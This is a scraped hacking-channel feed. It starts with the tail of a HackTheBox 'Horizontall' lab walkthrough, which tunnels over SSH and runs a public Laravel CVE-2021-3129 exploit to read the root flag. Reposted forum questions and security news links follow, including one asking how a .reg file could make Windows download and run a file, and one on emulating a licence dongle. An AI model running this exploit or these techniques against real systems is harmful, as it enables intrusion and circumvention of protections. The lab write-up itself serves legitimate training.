9vSBLdK7eDeVI7RdmJ2-wbIpFZw_ewUl8wc5H3OqZ0n63eGtc-OdzKbioP0GHXc0jTftJE18DO3pqnM8NclM09PWMi6ndCxZJ-TPMMn6vRachjCjWgkn-l7Pp9J6JoAQkcnWXZvdg5c3XEKuF3coL5dmeDomMlxK0rmXLT7xTrTViG8U4w=s16000

As it had got copied, we could now run an SSH tunnel and forward port 8000 to our local system’s port 8000 using the command:
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.129.149.92
https://blogger.googleusercontent.com/img/a/AVvXsEg5P8O-YazC63GrD3ASQtSzgC7vF2il1g_B5-XYrhPEaqRkPreEo3stdTN0e3ahUodc9l85gHmS2v4u3KNmAgHwxsBqStVNeb0ZcZPAPbqLXy7smSRH8X4AIg-5oE0bdEBPjBZGv8x-queG6RB3H2eY05xSEdeseFNz-qwvmh96SwP_MeDdLjiw2mJxpA=s16000

Now, upon traversing local port 8000 in the web browser, we observed that Laravel version 7.4.18 was running.
http://localhost:8000
https://blogger.googleusercontent.com/img/a/AVvXsEiAXPSwohpMtVZcTJH0oBsHQyhdwEnb1jxJfwSOHgPQdvE5thNIdgdhfX56s9uN33rR0jZhUad0hhLv-2tvPmdaSFTQ4opweFMdAQo1osVMd0UtG1h8Sqicyov9VRSRtRgUP-HQcHXaIJK1laNJb1Tc1ykyF9XaGV_468sxDHIqhY4JgOQvgZjDzmwBYw=s16000

This version is vulnerable to CVE-2021-3129. This vulnerability allows an attacker to execute code because of an insecure implementation of the file_get_contents() function. A PoC is available on github (ref here) which we cloned and ran.
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
chmod +x exploit.py
./exploit.py http://localhost:8000 Monolog/RCE1 id
./exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
https://blogger.googleusercontent.com/img/a/AVvXsEidDZ8aYKOKJJfCc7h4kGGaqnWFvPISMV-dAZrUt1N7adEUKXVfGSZ1m4l1u-pTHadUW45IHQSMWOPYHu4X3rGRDqKAwUTH67CWW0jnla3jCR86YLCvh5cPrRNYGyMVlPK0h2WBwbSPugLCW1t4__qSGnEw5Be6TeB_LFt31apDr16MEijC61iJVbyijg=s16000

And as you can see, the application was owned by root and thus we are able to execute commands as root. This is how we escalated our privileges and snagged the root flag. ConclusionThe lab offers a practical understanding of googling, understanding, finding public exploits and running them to exploit a server. In our humble opinion, the website is suitable for beginners or students practising for OSCP. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Horizontall HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Yet another enumeration of subdomains with statistics

Or how to collect million of bugbounty subdomains in order to make a few wordlists.Continue reading on Medium »
Read more...

Web App Pentesting Course
https://www.reddit.com/r/Pentesting/comments/ster1z/web_app_pentesting_course/

Hello Pentesters, ​ I am a InfoSec student and I am lacking in web app pentest skills, do you all have any suggestions for Web App pentest courses. I am okay with paid ones, if they are quality and relevant to today's security landscape. ​ Thank you! submitted by /u/Early_Lab183 (https://www.reddit.com/user/Early_Lab183)
[link] (https://www.reddit.com/r/Pentesting/comments/ster1z/web_app_pentesting_course/) [comments] (https://www.reddit.com/r/Pentesting/comments/ster1z/web_app_pentesting_course/)

___________________________
@hacking_Attack
@Hacking_Video

ImmuneFi Bug Bounty Launched!

Octopus Network is a brand new multichain network born to serve application-specific blockchains, aka appchains. Octopus Network provides…Continue reading on Medium »
Read more...

hacking: security in practice
Has the windows side of the razor synapse power shell exploit been patched?

Incase you didn't know, there was a LPE exploit discovered like 6 months ago where you could simply plug in a razor keyboard or mouse which would give you system privilege's to download synapse. You could open this as a separate PowerShell window and well, you know, have full access to your previously limited machine.

​

My company recently hired a new IT team and all I want to do is simply synchronize my timezone as it hasn't been updated since 2015 and since it's off the rest of my computer to some extent is non functional. They've been MIA all morning and idk why I'm locked out of editing my time zone this machine has went from my workstation to an excel spreadsheet machine. Getting notifications and everything earlier than I need. Razor said they have fixed the bug as much as they can but it's mainly a windows error and I can't find anything on if it's been patched or not. I know that there is some other program that I forget the name of but it's basically a virtual USB emulator that I want to try tomorrow if this problem persists.

​

Simply put; has anyone heard anything from Microsoft on whether or not they've fixed the exploit? Also if anyone is more familiar with any other windows vulnerabilities that are similar I'd love to know.

​

Thanks :)

submitted by /u/Parzival1127
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HASP dongle emulator for an older piece of software?

I want to help a relative that has purchased a software package several years ago (5? 7?) that has since then not received any updates. The last time he bought it it was because the dongle on the previous one failed. This new one is failing as well and the company wants them to purchase a new license instead of replacing the defective key.

As it is, the dongle requires to be powered on at all times, otherwise it needs to be placed either in the fridge or warmed up for a few hours. Don't know what voodoo that is but it sounds like a hardware problem to me. Anyway, the vendor does not acknowledge this.

What are the ways to make a copy of the dongle in case it fails? I know it likely has a semi-custom algorithm running on it, but there seem to be various solutions to this. However, I cannot find any links that are live, everything just seems to lead to a parked webdomain.

There are also services that do this, vipdongle and donglify come to mind. I would like to avoid though another subscription model, plus I have no idea how legit these services are (are they just going to charge the card and disappear?).

This is for a small business with two computers only. Appreciate any advice or links I get.

submitted by /u/testing_testing_321
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A technique to semi-automatically find vulnerabilities in WordPress plugins

https://external-preview.redd.it/HipRd30eDrLQWXVswiWudVNc2H9H-atHUoqn_YcxVBg.jpg?width=640&crop=smart&auto=webp&s=38d51b15dd6e88a00f4f5b8827a5359786c1beaa submitted by /u/kazetkazet
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there a way to make a windows computer download a file and run it using a registry edit, spread via a .reg file

title of the post explains it, but this sub requires a longer body paragraph in the post so i shall state it again: Is there a way to make a windows computer download a file and run it using a registry edit, spread via a .reg file

submitted by /u/the_human12345
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I think most of the people believe social media are controlled by the goverments, but why?

Maybe this isnt the sub to ask this, but i didnt know where to ask hackers and i was thinking, for example everyone believes that whatever we write on the internet somehow can be traced back, back to who you are, and if the goverment wants they can get whatever info from you, or whatever comment you did 8 years ago on reddit(example)

Where is this idea from? Why did i take this info as truth without doing any research i dont know, so i wanted to ask any "hacker" here of how true it is, if the goverment wants to know what you commented, posted or liked in the past, can they trace back to you.

Lets say even the email everything you used to create the account is fake, can reddit itself traceback to you?

Ps. I didnt do anything wrong i swear haha.

submitted by /u/Thegodfather_12
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
People who act like DDOSing is hacking is honestly my biggest pet peeve

I hate how people who actually take the time to understand a system and break it in such a methodical and delicate way in order to gain access into it or whatever are overshadowed by the ocean of skids who think spamming requests somewhere using some github script or botnet-creator website is somehow the same.

It's like being a car mechanic and being treated as though you're on the same level and skillset as someone who smashes a car with a wrench until it breaks.

And no, I totally didn't make this post just so I could share that analogy.

submitted by /u/TheByteQueen
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Yet another enumeration of subdomains with statistics
https://medium.com/@zzzteph/yet-another-enumeration-of-subdomains-with-statistic-4953a5a4754f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Or how to collect million of bugbounty subdomains in order to make a few wordlists.Continue reading on Medium » (https://medium.com/@zzzteph/yet-another-enumeration-of-subdomains-with-statistic-4953a5a4754f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

ImmuneFi Bug Bounty Launched!
https://medium.com/oct-network/immunefi-bug-bounty-launched-ecf1c35ff4e7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Octopus Network is a brand new multichain network born to serve application-specific blockchains, aka appchains. Octopus Network provides…Continue reading on Octopus Network » (https://medium.com/oct-network/immunefi-bug-bounty-launched-ecf1c35ff4e7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Simple Leadership Secrets

https://cdn-images-1.medium.com/max/600/1*qpg7AIhvvJOW9_v0bn9Geg.jpeg
Build a team that understands and values interdependence and synergy.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Kali Linux 2022.1 lanzado con 6 nuevas herramientas, compatibilidad amplia SSH y más

https://cdn-images-1.medium.com/max/1600/0*VpLMz32CmJmcJEDS
PUBLICADO EN 15 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 ways to optimize your eCommerce website security

https://cdn-images-1.medium.com/max/2600/1*9B466DbLTXHF1ts4CYcW6A.jpeg
Bad actors often target eCommerce websites injecting malware that adversely affects your visitors. What makes things even worse is that…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Nonprofits Can Evade Ransomware Attacks

Just as small businesses can't be complacent, nonprofits also need to prepare for cyberattacks.